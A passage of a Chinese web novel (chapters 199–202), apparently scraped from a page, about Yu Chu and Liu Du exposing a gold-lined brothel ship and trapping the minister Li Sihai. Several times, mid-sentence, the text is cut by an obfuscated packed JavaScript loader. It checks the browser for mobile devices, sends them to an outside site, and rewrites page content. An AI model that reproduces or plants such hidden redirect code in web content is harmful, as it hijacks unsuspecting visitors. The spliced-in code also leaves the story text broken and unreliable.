虞初两手在脸颊上随便摸了两下擦掉了脸上的泪珠,拉着刘渡就起身走到了墙边。她一脸疑惑的看着刘渡,然后又敲了敲墙面:“你听,这声音好奇怪。这隔板明明是木头,怎么听这声音竟是清脆的。” 刘渡也上前侧耳贴在墙上,虞初伸手敲墙,刘渡仔细的听了听,确实是清脆之音。 虞初还欲再敲,刘渡一把拦住。 “那边有人,不要惊动了那边的人。” “你没发现,这两间屋子之间的木材很薄。既然隔板不厚,那么隔音应该是不好的。可是我刚刚趴在这边这么久,竟然连隔壁房间有人都没听出来。”虞初突然反应过来什么,狐疑的看了看刘渡,“你听见了那边的声音了吗,怎么我没听见,是我耳朵不好吗?” 刘渡看着虞初一本正经道:“我听到了啊,那边声音这么大你都没有听见吗?”他瞪大着眼睛,一脸不可思议的盯着虞初。 虞初立马又贴在墙上认真的听了起来。可是不管她如何调整姿势,或是重新换个地方听,还是一点声音都听不见。 “刘渡,我真的没听到有声音,你真的听见了那边的声音了吗,我以前听力是没有问题的啊,真的。”短短的时间里,虞初已经不是在怀疑自己的听力是否真的有问题了,而是在回想,到底是什么时候自己的听力变差的。终于,她拍手跺脚起来:“定是那晚那几个老婆子将我头按在水缸里面,耳朵里面进了水影响了听力。真是的,我就不应该把解肤痒之症的法子告诉钱丛。让那几个人多痒几日再说!” 虞初满脸的懊悔,恨不得现在就回去告诉钱丛让她不要去医治她们。 刘渡看着虞初的脸气的越来越红,摇头笑道:“睚眦必报果然是不分年龄的,这么多年了,你还是这样。”他伸手拉虞初的手带着他走到门口,开了门直接指了指隔壁,“里面亮着灯呢,自然是有人的,傻丫头!” 虞初一个激动,直接就朝着刘渡的胳膊上狠狠的拍了一下:“你骗我!” 刘渡捂住肩膀无奈辩解起来:“刚刚我进来的时候就注意到了,你自己没注意能怪我吗?” 虞初也仔细回想了一下,估计刚刚自己一直想着旁的事情,确实没有注意到旁边的屋子是有人还是没人的。她拉着刘渡进了屋关了门若有其事的推测起来:“既然这样,我刚刚的疑惑就是成立的。这么薄的墙面,还是木质的隔板,怎么会有这么好的隔音效果呢!”虞初边说边思索着,奈何她这方面的知识浅薄,还真搞不明白。 “你仔细回想一下,不仅是这里,这船上的任何一个地方的隔板都是如此的。” “你这么一说我倒是想起来了,那日我在后厨闹出那么大的动静,东院竟然一点风声没有。我就说,就我们吵嚷的声音,那边多少也会听到一些,怎么会一点都没察觉。如此想来,一切也就对了。膈应效果太好,若不是有人特意去报,那边是收不到风声的。” “这船上的主要业务你也清楚,这隔音一是为了方便客人,二个就是为了方便他们自己了。” 虞初突然灵机一动,在屋里走了一圈后,在果盘桌旁看到了一把手长的小刀。刀具不大,但也足够她用了。她握着小刀又去了屋里的西北角落,然后蹲在地上用刀不停的据着墙板。来来回回过了好久才刺出来一个小洞。刘渡中间想要帮忙,也被虞初给拒绝了。 “不用,我马上就好了!” 当然,虞初的这个“马上”比他们任何一个人理解的马上都要久的多的多。刘渡站在旁边就这样看着虞初不停的钻眼划据,最后实在是看不下去了,上去拉开了虞初,反脚直接就朝着木板墙踹了一脚。 “你怎么不早点踹?”虞初揉着红红的手心忍不住抱怨了起来,刘渡每次都是诚心要看她笑话的,至少她是这么认为的。 “你也不说,我怎么知道你到底要做什么!” 刘渡上前挪开地上的木碎片,扒开裂开的墙面往里看。虞初站在旁边也要挤过去看个究竟时,门口就来了人敲门。 “刘公子,里面是怎么了?” 又是曹娘的声音,虞初连忙冲到门口用身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519377|134603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子抵着门,让刘渡遮挡好刚刚扒开的小洞,然后将地上的木屑又重新散摊在墙边。 “刘公子今日喝的有些多了,刚刚不小心踢到了什么东西,就打到了墙上了。” “啊……”曹娘脑子里飞快的转了一圈,眼睛瞪得大大的看了看一片狼藉的角落,一副难以相信的模样,“人没事吧?” “无碍!” 刘渡终于开口,曹娘见里面回了话也不好多说什么。转身主动将门带上就离开了。虞初听曹娘的脚步越来越远后,这才又跑到刘渡跟前蹲下看起了那个小洞的情况。 “这里面……这是……黄金吗?”虞初惊诧的看着刘渡,然后又低头去看了两眼,“是黄金没错吧!” “是黄金,蜂窝状的黄金片,估计这木墙中间有好几层这样蜂窝黄金片。这形状减震消音效果极佳,你没发现吗,到现在旁边的人都没发现我们这的状况。” “难怪只有外面的曹娘听见我们这边的动静,而不是隔壁的人找过来的。”虞初又拿出小刀捅了几下那个洞口,“如果把这船上的黄金都弄出来,那就发财了!” 刘渡宠溺的看着虞初笑颜明媚:“用你这刀做工具,怕是带不走什么,也不能发财。不过你有我,我有的是钱银子,黄金一样!” 虞初回想起之前自己还这么担心这个人,现在就忍不住多白眼一下他。 “王爷还真是深谋远虑,这么远的地方都能布局。这么神通广大之人,怎么回京路上就遇伏了?” 刘渡苦笑:“智者千虑,必有一失。此事说来话长,我以后再跟你解释。” 可是虞初等不及以后。她起身走到刘渡身边,然后伸手主动抱住了眼前这个男人:“我以为你真的出事了!” 刘渡自然的也搂住了虞初,他的下巴在她的发丝上磨了磨,这个温度,好几次出现在午夜梦回的时候。 “我刚到这里的时候我就知道刘渝和陈云不会让我轻易的再回去了,可是令我没有想到的是,腹背受敌,他们早就串通好了的。” 虞初敏感的捕捉到了那两个字,她抬头看着刘渡,一脸认真的问道:“他们,是谁?” 刘渡平静的眼角突然划过一丝失落,他笑着看着虞初,眼神开始迟疑。 “你怕是他是吗?” 刘渡盯着虞初的眼睛,想从她飘忽不定的眼神中寻求一丝安慰。 “不是!”刘渡不忍心虞初再继续追问,他知道她一直在等他的确切答案,索性直接说了答案。 果然,虞初在听到不是他的时候终于松了一口气。刚刚还紧绷的脸上突然又有了别的表情:“是王世明?” “不过命不该绝,北凉有个大夫救了我。我好了之后就去找肖浅,那时我知你还在北凉,就想着先回去北齐处理旁的事情,就先去会了万尘安和肖成。再后来就是得知你离开了北凉,我就又追过来了!” “你不是让肖浅护着我吗,你大可先去做自己的事情?” “可是我猜你想见我!” 199. 第 199 章 “外面是什么声音?”虞初走到房门口推开条封想看看外面到底是发生了什么事情。 曹娘本来还拿着帛扇,脚步很快的穿梭在前厅。她遇见姑娘就凑到耳边不知说些什么,后来手上的帛扇也不拿了,转身就朝着东院去了。 虞初看着曹娘离开了前厅,立马开门走到门口随便拉了个姑娘小声问道:“姑娘可知这是出了什么事情,刘公子说外面太吵了,特地让我过来瞧瞧的。” 那姑娘停下脚步往里面张眼看了一下,然后故作神秘道:“姐姐不知道大人要来了吗?” “大人?”虞初拉着小姑娘往门口去了去,尽量不挡着过道里的人走路。 “是啊,大人很久没有过来了,刚刚曹娘突然通知下来大人要来了,让我们该准备的准备,该收拾的收拾。” 虞初从腰封出拿出一锭银子塞到了小姑娘的手里:“我也是近日刚来的,还有很多规矩事情都不是很清楚,姑娘若是知道,就多告诉我些,我也好去‘准备准备’!” 姑娘握住银锭将手缩在袖子里,她看了看周边无人才敢继续说道:“姐姐,说实话这大人我也没有见过。每次大人过来,他都不会来前厅的。曹娘等一众姐妹会在西院服侍。大人每次过来时都是跟要客一起来的,大家都精心打扮,就指望着会被选中去西院,运气再好点的就能被带走,再也不用守在这不见天日的船上了。” 虞初看着眼前这个小姑娘,她的年纪不大,跟韩白里差不多。具体怎么来这船上的她不清楚,她虽言语痛恶这里,可说起这些话的时候却也有种无关痛痒的绝望。 “你来这里多久了?” “三年零两个月了。” “你怎么不回去收拾,我看前厅不是好多姑娘都回去收拾去了吗?” 小姑娘眼底落寞:“那些都是从未服侍过人的才有机会去西院,我们这些还是要照顾好前厅的客人的。”小姑娘刚说完,就看到远处有人往这边来了。她收好手中的银锭,甩开虞初的手,“姐姐赶紧进去吧,被曹娘看到就不好了。” 说完小姑娘就赶紧跑掉了。虞初站在门口愣了许久,突然想起了什么。她连忙进去屋里拉着刘渡很是焦急的跺脚。 “我就说,明明这么着急的让我们来船上,怎么到了这里又把我们支配到了后厨,不去前厅服侍人去。原来是留着她们专等这时候。” “你在说什么?” 虞初转身就要离开:“肖浅钱丛她们都在东院,我要回去看看。” 刘渡先步走在虞初前面挡在门口:“你当初来这里时不就应该想到了吗,这到底是什么地方。如今你还要冒冒失失的去东院,你也不怕那个曹娘怀疑到你身上。” “可是我当初想的是,我就是遇到这样的情况我可以下迷药迷晕他们好脱身的。肖浅武功好,也吃不了什么亏。可是钱丛不一样,她那样的性子,定不会屈服,会死的!” “你在来这里之前就应该知道,这艘船上,有无数个钱丛。虞初,你冷静冷静,我不是想要阻止你去救她们。至少我们要想一个周全的法子,而不是你现在这样冒然。既然走到这一步,那就不要功亏一篑!” “你来过这里这么多次,难道什么都没有发现吗?” 刘渡静静的看着虞初,好一会才说道:“我有发现,我甚至大概猜到了这‘大人’是谁!” “那你为何不行动,早点揪出那个人,就会有人免受这样的劫难!” “事情不是你想的那样简单。我知道你不忍看到那些女子遭受这样的事情。可若是我不周旋揪出根源,就算这船报废了,他们还是会另寻他处重新造一艘这样的‘船’出来。况且……况且这涉及到军需兵器,我得查清楚!” “我知道你做事情有你的章法,我不会因为我自己的原因坏了你布局已久的事情。可是当下,刘渡,你能不能帮我想想办法?” “好,你不要着急,我来想办法!” 虞初怔在原地左右思考一番后抬眼质疑的盯着刘渡的眼睛。 “你这两日一直在这艘船上,就没有离开过对不对?”虞初往后退了一步看着刘渡,虽然虞初心里清楚,刘渡说来这找她,她是相信的。可是当下的形势,北齐内忧外患。她之前听王世秦说过刘渝在宫里处处被陈云掣肘难行的局面,刘渡不是应该会尽快去处理宫里的事情吗,怎么会一直无所事事的待在这艘船上,难道只是为了她虞初吗?很明显,她只是其中一个原因,这点自知之明她虞初还是有的。 刘渡不说话,虞初许久吞吐道:“刘渡,我不需要知道你的计划,我只想救人。你也不用处处提防着我。” “我怎么会是在地方你呢,初儿……”刘渡想要抓住虞初的手,还是被她给拒绝甩开了。 “难道不是因为我在王世秦那边几年,你害怕了?” “不是!” “不是吗?”虞初冷笑,“你说他们勾结,想必是北齐和北凉吧。你如今在北齐腹背受敌,提防我也是应该的。” “初儿!”刘渡想要解释,可是他实在不知道该从何说起,“你就不能信我一次吗?” “信你一次,我还要怎么样信你。你让我在王府等你,我等了。遭遇变故,八年,整整八年,你就是到了北凉你都没有过来找过我一次。刘渡,我知道你的能力,就算王世秦将我藏在天涯海角,你也会找到的。可是你没有,你一次都没有!” 刘渡不再说话,他看着虞初由委屈到抱怨的将这些话宣泄出口,他自知自己在这件事情上确实是自私的。 “北齐城内局面混乱,你在北凉安全一些。” “安全,安全,你说的安全是这些吗?”虞初气愤的撕开自己身上的衣裳,上身只剩下一个微黄色的肚兜包在胸前。 “刘渡,你知不知道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刘渡无奈,只好先去开门。刚开门,万尘安就直接推门想要趁机进去。 可是刘渡的动作永远快他一步,加上门口还有个听话的肖成替他拦住万尘安,最后万尘安只好无奈的缩脚回去站在门口整理了一下衣裳。 “金屋藏娇了这是,你也不怕以后虞初知道了不理你!” 刘渡转头看了一眼站在旁边气的像只炸毛的猫的虞初无奈叹气:“已经不理我了!” 万尘安连忙转身就要离开,临走前还伸手挫了挫肖成的腰,“还站着做什么,还不走!” 肖成憨憨的点了点头,他站在万尘安前面,余光瞥到了屋里那个女子,尽管只有侧脸,他还是一眼就认出了里面的人。里面的人红着眼睛,确实可能是不怎么想理他主子。 “回来,怎么样了?” 万尘安左右看了看满脸疑惑的看着刘渡:“你确定让我们站在这里说话,这来来去去的人可不少!” 肖成缩头看了看两侧倒在地上的人,哪里还有什么人。他刚想开口,万尘安就先说道:“虞初,好久不见,刘荇一直惦念着你呢。这次知道我要来见你,特地要跟着过来。” 虞初本来还在气头上,听见万尘安说刘荇也过来了立马自我调节了一下情绪。 “她人在哪里?” 200. 第 200 章 西院 万尘安拨了一下刘渡的胳膊,然后推着肖成挤进房间:“我没让她来船上,不过她就在附近,等这边的事情处理好了,我自然会带她去见你的。” 万尘安幸灾乐祸的看了眼一脸愁容的刘渡:“这是怎么了,该不会刚见面他就开始一本正经的对你说教了吧。好歹我们虞初现在也还是王妃,有些人也不要太过分了。实在不行你还有长公主替你撑腰,开心的不开心的也不是非跟他说不可。” 刘渡实在是有些听不下去了,直接推着两个人将他们轰了出去。“搅屎棍!” 虞初乍听到这个词的时候还皱了下眉头,一度觉得是自己听错了。她忍不住扭头看了眼刘渡,见他转过来看自己又立马把头低了回去,此刻她确实不想跟他有任何的交集,只是目光也不行。 “行,行,我是搅屎棍,你是好人,你是好人把我们夫人气成这样!” 刘渡懒得与他争辩,指了指门口,让肖成关上门后,三人就走到方桌那边开始了正经的对话。虞初见他们要谈要事,就准备出去。刘渡余光扫到她要离开,伸手让万尘安先暂停一会,侧身看着虞初的背影喊道:“不是要救人吗,过来!” 虞初愣在门口一会,还是乖乖的回去了。她知道,当前的局面确实是刘渡帮她更好一些。心里的恩怨,委屈,不痛快,跟钱丛她们比起来,孰轻孰重她还是分的清楚的。 “周围都布置好了吗?” “放心,我是看着他们布置好了才上来这船的。那个人已经上来船上了。” 肖成看了一眼刘渡,然后有些为难:“刚刚我看他上船之前又回了一趟马车,过了好一会才下来。你说这中间会不会有什么变故。” 刘渡两手撑在桌上,低着头不知在想什么。虞初慢慢走近看着他们摊在桌上的那张图纸。 “这是这艘船的图纸?” “嗯,不然你以为我来这里这么多次是为了什么,还真是为了过来看美人的?” 万尘安憋笑看了眼站在旁边默不作声的虞初,展了展眉头一副看好戏的模样。 “西院在这边,肖浅现在想必已经往这边去了,她都准备好了吗?” 肖成点了点头,虞初似乎明白了什么。她不跟刘渡讲话,反而转头去看肖成:“肖浅也知道你们的计划?” 肖成被虞初的问题问的发懵,他看着刘渡,不知该如何回答。毕竟他不知道他主子是怎么跟虞初说的。 虞初当然也看出了肖成的为难,可是她就是不想转头去看刘渡。 “那是你们过来的第一天,她来见我的时候我才告诉她的。你不是也知道她半夜里出去过吗,难道猜不到?” “谁问你了……”虞初喃喃自语,旁边的三个人都听得清清楚楚。 “肖成,你等会就出去,具体的行动时间等我的信号。” “不是马上就要行动了吗?”肖成不解为何主子为何突然改变了计划。 “你按照我说的做就是。” “是!” 肖成接了命令就出去了。万尘安单手支撑在嘴边,看着图纸若有所思。 “出口就里两个,你都安排好了,不行动。你怀疑他没有上船?” “不是怀疑,是确定他没有上来!” “那我们刚刚进来的时候岂不是被发现了,刚刚地上还倒着……”万尘安赶紧跑出去看外面的状况,突然发现地上早就被处理干净了。 “肖成应该都处理妥当了。” 虞初半信半疑的也走到门口看了眼外面,外廊上空无一人。 “刚刚这里不是还有很多人的吗,怎么现在一个人都没有了?” “我让人将前厅的人引到了别处。”万尘安见虞初还愣在门口,又重复了一遍,“他们现在应该是去了东院了。” “东院?”虞初实在是有些受不了了,跺脚直接问道,“你们能不能把话说明白,我听你们二人讲话感觉你们在我跟前说密语一样。而我呢,像个傻子一样,我什么都不知道,也听不懂。要不然就不要让我听见,要不然就直接说清楚,行不行!” “真是急脾气,那你过来。”刘渡朝着虞初招手,万尘安识趣的也跟了过去站在旁边不说话。 “这是东院,这是西院。常理来将,这两个应该处落在东西两侧。可是这船上不是,东院确实在东侧方位,而这西院,则是这里!”刘渡指着图纸上的一处,然后点了点,“看到了吗?” “这不是……”虞初的脸上突然大惊失色,“后厨?”虞初突然想到了什么,激动之下一把拉住刘渡的衣袖。 “你刚刚说有人将前厅的人都带到旁的地方去了,这船上有你们的人。所以这个人是谁,是……红姐?” 万尘安鼓手称赞:“这都能想到。” “曹娘本身去了东院,想必是想去将钱丛肖浅她们几个带到西院。前厅的不是像我一样跟人在屋里就是在忙着收拾前厅。突然来人传话,我想应该是个稳重的不会被人质疑的人。刚刚你说西院在后厨,我突然想到那日我有心报复,可是深夜我也分不清到底哪个是哪个的衣裳,难免会殃及无辜。我来这之前跟钱丛去了趟后厨,只有红姐没有中招。她虽然也躺在床上,可是我看了,她胳膊上没有一丝抓痕。我当时就有些疑惑,怎么她会没事。现在想来,那晚我们进去屋里的时候她就是醒着的。这也难怪为何曹娘没有发现一丝端倪,还难为她为我善了后。想必西院在后厨的事情也是红姐打探出来的吧!” “确实有两个西院,一个是明面上的西边的那间屋子,那间屋子虽然一直空着,每日也都有人前去打扫维持,都是做给旁人看的。还有就是后厨的那个,你在后厨待过,没发现什么吗?” “我就只去了一两日,没发现不也正常。”虞初不服气的有看了看地图,“那我应该去后厨?” “嗯,你想好用什么借口过去了吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546443|134603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “嗯,正好去给那几个婆子解毒施针。”说着虞初看了眼刘渡。 “那你先过去吧,就说我这边不需要人,我随后就来。” 虞初点头离开,一路的小跑直奔后厨。 屋里万尘安看着刘渡,两手环抱在胸前:“你故意把虞初支开,门口的人不是肖成处理的吧!” “不是!” 万尘安似乎秒懂了什么,若有所思的点了点头:“好了,还是被摆了一道,老狐狸。” “等着吧,应该会直接冲着我这里来。后厨有红姐还有肖浅,虞初在那边应该不会有事。”刘渡欣然坐下一副无事人模样,“喝点茶?” 万尘安接过刘渡手里的茶杯:“那老家伙估计是想来个瓮中捉鳖,我这胳膊上的伤刚好,一点养伤的机会都不给我。” “刘荇真的来了?” “嗯,你怎么突然关心起这个了。” 万尘安放下茶杯笑道,“这次我回去,本想告诉她你安然无恙让她放心。我虽不说,但我想她一定清楚我这次出来要做什么,就说了一定要跟过来。我想着宫里刘渝现在的处境那是随时都会有变故。她作为长公主,在宫里也不一定就比在我身边安全,就答应她带着她来了。” “嗯,虞初不喜欢人骗她,我以为你只是为了让她开心转移她注意力的。” 万尘安听着刘渡的话嗤之以鼻:“我没有骗她,只是有些人,怕是有些话没有实话实说吧。就刚刚,你谎话张口就来。还‘肖成都处理干净了’。” “等会这里的状况我也拿不准,只能先这样了。” 万尘安不以为然的摇了摇头:“虞初那样的人,她要的应该是坦诚相对,相互扶持。而不是你一句‘为了她好’什么事情都瞒着她去替她做好决定,这样她是不会感激你的。这么多年了你怎么还是不懂。这下好了,好不容易找到了人,你还能刚见面就把人气成这样。也难怪人家刚刚不理你,算你活该!” 刘渡沉思片刻,右手用力握住茶杯:“我知道了。” 万尘安了解刘渡,他所谓的“知道了”,多半是“我是对的”的意思。他也不再多言,两个人的事情还是需要他们自己解决,旁人掺和不了。 二人刚停止谈话,就看到门口被重重人影一圈圈的围了起来。万尘安拿出腰间的折扇看了眼刘渡:“来了!” 刘渡气定神闲的坐在那边,还是继续喝着手里的茶。 “王爷,果然还是你会享乐,来了这么个好地方,让我等一顿好找!”一个披着个深紫色带帽斗篷的男人推门而入。他站在刘渡的跟前,用看着囊中猎物的眼神看着刘渡。 “这么好的地方,还真是多亏了你了,李大人!” 李四海缓慢的摘下了头上的帽子,上前一步直接坐在刘渡对面。 “本以为上次朝堂上是你我二人最后一次见面,没曾想在这还能见到王爷,命真大!” 201. 第 201 章 “针砭药石,兵刃戈矛几番来回还能坐在李大人跟前,不是命大是什么。难道是李大人有过宽宥之义,故意没有赶尽杀绝?” 李四海笑而不言。他跟刘渡常年交道,深知刘渡为人嘴尖伶俐,在言语上自己是得不到什么优势的。 “王爷能说会道又心有算计,那王爷能不能猜到,我是如何找到王爷的!” “还能因为什么,你不是一直都在公主身边安插了眼线吗?” 万尘安坐在旁边冷笑:“原来是知道我回去了一趟啊!” 李四海看了一眼旁边的万尘安:“大司马很是挂念你啊,大司马身子日况愈下,忠于孝悌,你也该回去看看他老人家了。” 万尘安一边扇着扇子一边笑着走到李四海旁边:“我是想回去看看的,只是我看李大人这架势,好像是不打算让我有机会回去的。” 李四海一脸惊诧立马起身:“老夫哪敢,就算不顾及令尊,王爷在此也轮不到我一个糟老头放肆不是。” 万尘安摇头深叹:“瞧瞧,瞧瞧李大人这装腔作势的嘴脸,我还真学不来。要不怎么说一路升迁的是你李大人呢!” 李四海无所谓的陪笑了两声:“老夫不才,不过在这件事情上我还是有资格跟你说上两句的。自古为人臣者,做人第一,才能第二。先有财,而后自有才!”李四海说着便又坐下,“还有最重要的一点,要站对位置,跟对人。” “你就这么肯定陈云是那个对的人?” “就此局面而言,万公子你觉得陈相是不是当下最对的人?”李四海哼笑,“你刚去过京内,当前是何局面我想不用我多言你心里也是一清二楚的。” 李四海想要从万尘安的脸上看到懊悔和无奈,可是偏偏万尘安没能让他称心。他一副无所谓的样子又走到了刘渡身边,毅然决然的站在他的身后。不过李四海也没指望能在这时候劝得万尘安倒戈,毕竟这俩人平日里就一直形隐不离,说的好听一些是沆瀣一气,难听的就是一丘之貉。 “说来也可惜,大司马戎马一生,到头来还是病魔缠生,如今连床都下不得。” “所谓大将一倒,小兵才有机会自称为王。李大人,你这一生常居他人之下,想必心有不甘许久了吧。” 李四海不回万尘安的问话。如今局面他占优势,不管他们说什么激他,他也不屑与他们争辩。 刘渡坐着倒了杯茶放在李四海跟前:“请!” 李四海两眼警惕的看着那杯茶,迟迟不拿起茶杯。 “李大人喝吧,没毒!”万尘安拿起旁边刘渡刚刚一起倒的茶杯轻轻品了一口,“果真是好茶,李大人这船上真是要什么有什么,这样上好的茶,怕是只有宫里才会有差不多的品质的吧!” 听到这茶本就是这船上之物,李四海这才松懈一些,慢慢拿起茶杯放在鼻口出沉浸的品了品:“王爷也算是这方面的行家了,可知这是何茶?” “雪浸,刚刚我泡的时候上面有茶名!”刘渡风轻云淡的又给李四海满了一杯,“要说这等好茶,李大人喝的稍许快了些。” 李四海又一口直接下肚。 “茶是好茶,到底是用来解渴的。物尽其用,也不算辜负。”说完李四海还特意看了眼万尘安,“你说锦和长公主要是再也等不到你回去,会不会也选择留在这里?” 万尘安刚刚还游刃有余的脸上突起一丝厌恶:“李大人,你说话最好小心一些。公主虽下嫁到万某府上,到底身份显贵,不是你一个外男能随意提起的。” “不提,不提。老夫不过是最后一次提醒万公子,做事最好要给自己留些后路。否则殃及他人,尽管非己所愿,到底是因你生果,实乃罪过。” 万尘安不耐烦的看了看刘渡:“差不多了吧,还不够你拖延的,我反正忍不下去了!” 李四海突然听到万尘安说此话立马起身察觉不对劲:“你们在拖延时间,在拖延什么时间?” 话音刚落,肖成直接从门外踹门而入。门外一圈李四海的小兵一时间全被后面不知何时潜过来的人全给抹脖而倒。 “自然是瓮中捉鳖的时间!”刘渡将跟前的茶杯拿起,直接将里面的茶水倒在桌上,“茶是好茶,就是人不对。雪浸,清明亮风,洁身自好。李大人,你配得上那一点?” 李四海见自己的人被肖成解决了也不慌张,他底气十足的看了看刘渡:“先帝在时,曾跟老臣我提过,他的这三个儿子中间,老三才是他最中意的那个。无奈无心朝事,实属可惜。二殿下登基后,我跟王爷共事几年,虽立场不同,但确实佩服你确有才能,解决了一桩又一桩的民生艰难之事。也正因为如此,我才不敢轻视王爷实力。” 李四海转身推开了站在他身后的肖成,望了望岸上的几重围兵:“你说我要是找到王爷尸体,算不算功劳一件?” 万尘安无语的摇了摇头,看着李四海发出惋惜的感叹:“李大人,兵部尚书,虽说你一直没有实战,都是我父亲出战。可是我怎么也想不到你连最起码的用兵都不会。你可是兵部尚书,兵部尚书啊,只会文不会武的兵部尚书我还是头一次见。北齐这用人唯亲的坏毛病也该整改了。我很好奇,你是怎么做到这个位置的。外人都骂你靠着你姐姐李太妃爬上这个位置的,以前我还不信,如今看来,哎,还真不好说!” 刘渡走到李四海的旁边:“你觉得万尘安此次回京只是为了接公主出来的吗,大司马卧床不假,可是你别忘了,他有的可不止是大司马这个头衔。你兵力是多,可是你的兵都在岸上,看到没。”刘渡指着周围被损坏的小船满脸疑惑的看着李四海,“这周边的上这艘船的途径都被切断了,你的士兵是准备游过来吗?” “万秦那个老匹夫是把兵符给了你?”李四海瞪大瞳孔看着刘渡。 “对付你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579917|134603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还不至于用上兵符!重要的东西要用在重要的人和事情上。”刘渡扭腰指了指肖成身后的这些暗卫,“这些是腾然军,李大人这些年不是一直在找他们吗,如今见到了,有和感想?” 李四海“刷”的一声立刻将身子转了过去。他看着那些士兵,再跑出去仔细的看着岸边的几重士兵:“岸边的……不是我的人……” 刘渡看了眼肖成,肖成立马将船上一些别的李四海的人都直接抹了脖子,不留一个活口。 “你是怎么发现之前上船的不是我?” 李四海一向小心谨慎,他自认为自己的布局天衣无缝。怎么也想不出到底是哪里出了问题。 “错就错在你太刻意了,刻意的有些蠢了。你故意让我们跟着的人知道你要来船上。包括这船上的人也都是知道你今日是要过来的。刚刚万尘安和肖成来的时候,发现你回了趟马车,我就知道,你定是换了人过来。” 万尘安踢了踢李四海身边的那个尸体:“还有这个,这人我若是没有记错的话,是李大人一直带在身边保护你的。可是那人上来时,这个人没有一起上船!”万尘安说到这边时又忍不住感叹了一下,“你实在太蠢了,自认周全,却是漏洞百出。你说陈云是多想不开,怎么会用你这么一个草包!” “你……”李四海气的满脸通红,鼻孔也气的一张一息,就差亲自上去跟万尘安动手了。 “本来我上次在你过来这船上的时候就应该剿了你这黑窝。可是你们趁我去跟王世秦谈判的时候设伏,想要置我于死地。不过好在我命不该绝,被人救了。” “你自己得罪了王世秦,他给你设伏,你岂能怪我头上!” 刘渡饶有兴致的看着李四海:“此话怎讲?” “陈相知你能力,他说之前确实是小瞧你了,你能几次三番坏他好事,又不为己任用,自然留你不得。在朝中不能明目张胆的对你下手,可是正巧圣上也要解决你这个心腹之患。他们二人都有除你之心,自然不谋而合。当然,王爷你也处处小心,防备周全。王爷一直待在营中,暗卫根本没有机会。陈相他们派过去的人连你的行踪都难以知晓,更不要说是下手了。可是巧了,你去见了趟王世秦,随后我们就立马知道了你是从哪条路回去军营。” 刘渡听后也不说话,许久才又转移话题。 “李大人,这次船上可都是你的旧友,要不要过去叙叙旧?” 李四海不信刘渡的话,并不理睬他。 “那本王陪李大人走一遭?” 李四海看了看刘渡,哼了一声,甩袖走在前面。 到了后厨,刘渡刚进门就看到了虞初一直抱住一个看起来娇柔的女子。那个女子两眼无神,手上还有一把血迹斑斑的匕首。刘渡还未开口,对面的曹娘先上来跪在李四海面前求饶。 “大人,属下实在不知道,怎么事情就变成了这样……” 202. 第 202 章 李四海看着倒在地上的男子,这男人并不面熟,算不上刘渡口中的旧友,倒是站在旁边的裘郎中,确实是他手下做事的人。刘渡看了看虞初,见她两个胳膊使劲的抱住一位女子,一只腿缠在那个女子腿前,很明显是不想让那个女子再往前一步。刘渡先是注意看了看虞初手上的血渍,确认了不是她的后就转过头去不再理会。万尘安站在旁边,他静静的看着眼前的人一言不发。他觉得这样混乱的场面,想要弄清楚来龙去脉,只需静听即可。 极风娘子在看到刘渡的时候,立马点头以示尊重。站在旁白的李四海自然立马注意到了极风娘子,顺着刘渡的眼神立马锁定了那个女子。会香阁他是没少去的,眼前这个女子就是化成灰他也是认得的。 “你……你……你没死!”李四海忍不住上前想要摸一下极风娘子,不为色心,只是想要证明自己还没有老眼昏花。 极风娘子嫌弃的往后面退了几步,可没几步又停了下来。无奈钱丛和虞初还在自己身后,只好正面回应道:“李大人自重!” 李四海这才如梦初醒的看了看极风娘子,又回头看了看刘渡恍然大悟道:“原来如此,极风娘子是三王爷的人啊!” 此话一出,曹娘目瞪口呆的看了眼刘渡,又立马低下头去不敢明目张胆的看他。她低着头又看了看后面抱着钱丛的元珍珠,心下一脸不甘:“若早知道是三王爷,又怎么会便宜了这个丫头!” 李四海够着脑袋往极风娘子身后多看了一眼。这不看还好,一看他整个人心脏险些承受不住了。 “这……这青天白日的,怎么会……”他小步上前凑近虞初,路上还不忘捏了捏自己的嘴巴,“定是受了气眼花了!” “虞初……”李四海回头看了眼波澜不惊的刘渡立马改口,“三王妃!” 曹娘五雷轰顶,这一个王爷,又来一个王妃。易桦惊诧的瞪大眼睛看了看虞初:“王……妃……,原来你果然不叫珍珠……” 